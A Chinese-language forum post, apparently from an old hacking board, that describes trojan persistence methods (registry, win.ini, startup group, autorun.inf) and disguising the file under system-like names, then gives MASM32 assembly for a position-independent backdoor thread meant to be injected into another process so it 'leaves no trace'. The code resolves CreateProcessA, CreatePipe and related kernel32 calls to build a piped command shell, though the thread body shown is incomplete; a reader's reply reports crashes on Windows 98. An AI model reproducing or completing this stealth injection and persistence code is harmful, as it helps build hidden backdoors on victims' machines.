在启动的时候,有很多方法,比如在注册表中,在win.ini和system.ini中,在启动组中,或象冰河一样和文本文件关联,也可以做一个autorun.inf文件等,你了可以伪装一下,比如将winexec.exe改成internat.exe,或者用rundll32.exe 来启动install.dll也行,方法很多,当然如果你费尽心机要查一个木马,木马当然会查出来,要不杀毒公司没饭吃了,
这种方法在一个进程中注入一个线程
所有的工作都在该线程中做
什么痕迹都不露
; #########################################################################
.386
.model flat, stdcall ; 32 bit memory model
option casemap :none ; case sensitive; #########################################################################
; include files
; #########################################################################
include D:\ASM\MASM32\INCLUDEA\windows.inc
RUNTHREAD_PARAMETER STRUCT
BaseAddress DWORD 0
FnLoadLibraryA DWORD 0
FnLoadLibraryW DWORD 0
FnGetModuleHandleA DWORD 0
FnGetModuleHandleW DWORD 0
FnGetProcAddress DWORD 0
lpParameter DWORD 0
Reserve DWORD 0
RUNTHREAD_PARAMETER ENDS
LPRUNTHREAD_PARAMETER TYPEDEF PTR RUNTHREAD_PARAMETERTHUNK STRUCT
m_jmp db e9h
m_offset dd 0
THUNK ENDSOFF_BASEASSRESS EQU 0
OFF_LOADLIBRARYA EQU 4
OFF_LOADLIBRARYW EQU 8
OFF_GETMODULEHANDLEA EQU 12
OFF_GETMODULEHANDLEW EQU 16
OFF_GETPROCADDRESS EQU 20
OFF_PARAMETER EQU 24
OFF_RESERVE EQU 28CREATE_DEFAULT_ERROR_MODE EQU 04000000h
; #########################################################################
; CreateProcess
; #########################################################################CreateProcess MACRO BaseAddress,
lpApplicationName, lpCommandLine,
lpProcessAttributes, lpThreadAttributes,
bInheritHandles, dwCreationFlags,
lpEnvironment, lpCurrentDirectory,
lpStartupInfo, lpProcessInformation push lpProcessInformation
push lpStartupInfo
push lpCurrentDirectory
push lpEnvironment
push dwCreationFlags
push bInheritHandles
push lpThreadAttributes
push lpProcessAttributes
push lpCommandLine
push lpApplicationName mov eax, BaseAddress
mov ecx, offset CreateProcessThunk
sub ecx, start
add eax, ecx
call dword ptr eax
ENDM;这段代码需要动态定位地址,所以所有的地址都是动态计算出来的,计算方法如下:
; mov edx, BaseAddress
; mov ecx, Lib_Kernel32_Name
; sub ecx, start
; add edx, ecx
ZeroMemory PROTO lpAddr : DWORD, cbSize : DWORD
InitializeThunk PROTO lpRunThreadParmeter : DWORD
; #########################################################################
; CODE SEGMENT
; #########################################################################
.codestart:
jmp BackDoorThreadProcCreateProcessThunk THUNK <0e9h, 0>
GetCurrentProcessThunk THUNK <0e9h, 0>
CreatePipeThunk THUNK <0e9h, 0>
DuplicateHandleThunk THUNK <0e9h, 0>
GetStdHandleThunk THUNK <0e9h, 0>
CloseHandleThunk THUNK <0e9h, 0>
CreateThreadThunk THUNK <0e9h, 0>
WaitForSingleObjectThunk THUNK <0e9h, 0>
OutputDebugStringThunk THUNK <0e9h, 0>
; #########################################################################
; BackDoorThreadProc
; #########################################################################BackDoorThreadProc proc lpRunThreadParameter:DWORD
LOCAL BaseAddress : DWORD ;ebp-4
LOCAL sa : SECURITY_ATTRIBUTES ;ebp-8h
LOCAL hOutputReadTmp : DWORD ;ebp-14h
LOCAL hOutputRead : DWORD ;ebp-18h
LOCAL hOutputWrite : DWORD ;ebp-1ch
LOCAL hInputWriteTmp : DWORD ;ebp-20h
LOCAL hInputRead : DWORD ;ebp-24h
LOCAL hInputWrite : DWORD ;ebp-28h int 3
;保存寄存器
push ebx
push esi
push edi
;得到基地址
mov ebx, lpRunThreadParameter
push [ebx+OFF_BASEASSRESS]
pop BaseAddress
INVOKE InitializeThunk, lpRunThreadParameter
BackDoorThreadProcExitPoint:
pop edi
pop esi
pop ebx
ret
BackDoorThreadProc endp; #########################################################################
; InitializeThunk
; #########################################################################InitializeThunk proc lpRunThreadParameter : DWORD LOCAL BaseAddress : DWORD
LOCAL hModule : DWORD
jmp InitializeThunkEntryPoint
Lib_Kernel32_Name:
db "kernel32",0
Func_CreateProcess_Name:
db "CreateProcessA", 0
Func_CreatePipe_Name:
db "CreatePipe", 0
Func_DuplicateHandle_Name:
db "DuplicateHandle", 0
Func_GetStdHandle_Name:
db "GetStdHandle", 0
Func_CloseHandle_Name:
db "CloseHandle", 0
Func_CreateThread_Name:
db "CreateThread", 0
Func_WaitForSingleObject_Name:
db "WaitForSingleObject", 0
Func_OutputDebugStringA_Name:
db "OutputDebugStringA", 0
InitializeThunkEntryPoint:
;保存寄存器
push ebx
push esi
push edi
;得到基地址
mov ebx, lpRunThreadParameter
push [ebx+OFF_BASEASSRESS]
pop BaseAddress
;GeModuleHandleA("kernel32")
mov edx, BaseAddress
mov ecx, Lib_Kernel32_Name
sub ecx, start
add edx, ecx
push edx ;"kernel32"
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETMODULEHANDLEA] ;FnGetModuleHandleA
.if eax==0
jmp InitializeThunkExitPoint
.endif
mov hModule, eax
;#####################################
;GetProcAddress(eax, "CreateProcessA")
;#####################################
mov edx, BaseAddress
mov ecx, Func_CreateProcess_Name
sub ecx, start
add edx, ecx
push edx ;"CreateProcessA"
push eax ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset CreateProcessThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endif ;#####################################
;GetProcAddress(hModule, "CreatePipe")
;#####################################
mov edx, BaseAddress
mov ecx, Func_CreatePipe_Name
sub ecx, start
add edx, ecx
push edx ;"CreatePipe"
push hModule ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset CreatePipeThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endif
;#####################################
;GetProcAddress(hModule, "DuplicateHandle")
;#####################################
mov edx, BaseAddress
mov ecx, Func_DuplicateHandle_Name
sub ecx, start
add edx, ecx
push edx ;"DuplicateHandle"
push hModule ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset DuplicateHandleThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endif
;#####################################
;GetProcAddress(hModule, "GetStdHandle")
;#####################################
mov edx, BaseAddress
mov ecx, Func_GetStdHandle_Name
sub ecx, start
add edx, ecx
push edx ;"GetStdHandle"
push hModule ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset GetStdHandleThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endif
;#####################################
;GetProcAddress(hModule, "CloseHandle")
;#####################################
mov edx, BaseAddress
mov ecx, Func_CloseHandle_Name
sub ecx, start
add edx, ecx
push edx ;"CloseHandle"
push hModule ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset CloseHandleThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endif
;#####################################
;GetProcAddress(hModule, "CreateThread")
;#####################################
mov edx, BaseAddress
mov ecx, Func_CreateThread_Name
sub ecx, start
add edx, ecx
push edx ;"CreateThread"
push hModule ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset CreateThreadThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endif
;#####################################
;GetProcAddress(hModule, "WaitForSingleObject")
;#####################################
mov edx, BaseAddress
mov ecx, Func_WaitForSingleObject_Name
sub ecx, start
add edx, ecx
push edx ;"WaitForSingleObject"
push hModule ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset WaitForSingleObjectThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endif
;#####################################
;GetProcAddress(hModule, "OutputDebugStringA")
;#####################################
mov edx, BaseAddress
mov ecx, Func_OutputDebugStringA_Name
sub ecx, start
add edx, ecx
push edx ;"OutputDebugStringA"
push hModule ;hModule
mov ebx, lpRunThreadParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax!=0
mov ebx, BaseAddress
mov ecx, offset OutputDebugStringThunk
sub ecx, start
add ebx, ecx
sub eax, ebx
sub eax, 5
mov [ebx+1], eax
.endifInitializeThunkExitPoint:
pop edi
pop esi
pop ebx
ret
InitializeThunk endp
我是98,运行2-3次你的程序就会死机,怎么回事?